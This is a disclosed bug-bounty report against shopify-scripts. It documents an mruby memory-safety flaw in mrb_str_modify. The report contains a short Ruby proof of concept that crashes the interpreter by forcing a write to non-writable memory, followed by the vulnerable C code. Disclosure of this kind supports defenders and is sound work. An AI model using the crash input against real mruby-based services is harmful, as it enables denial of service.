HexBrain

shopify-scripts · Report #193077

mrb_str_modify try to write to memory not marked for writing

Validstatus
6upvotes
6 Feb 2017disclosed

How it was found

The proof-of-concept below can be used to crash the interpreter (DoS) because forces it to try to write a memory not marked for writing.

a = Time.new.zone
a.rstrip!
GC.start
a.next!

Code https://github.com/mruby/mruby/blob/5289b4ba117e66bdef1438ca754c894508a2447b/src/string.c#L668

    if (shared->refcnt == 1 && s->as.heap.ptr == shared->ptr) {
      s->as.heap.ptr = shared->ptr;
      s->as.heap.aux.capa = shared->len;
      RSTR_PTR(s)[s->as.heap.len] = '\0';
      mrb_free(mrb, shared);
    }

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original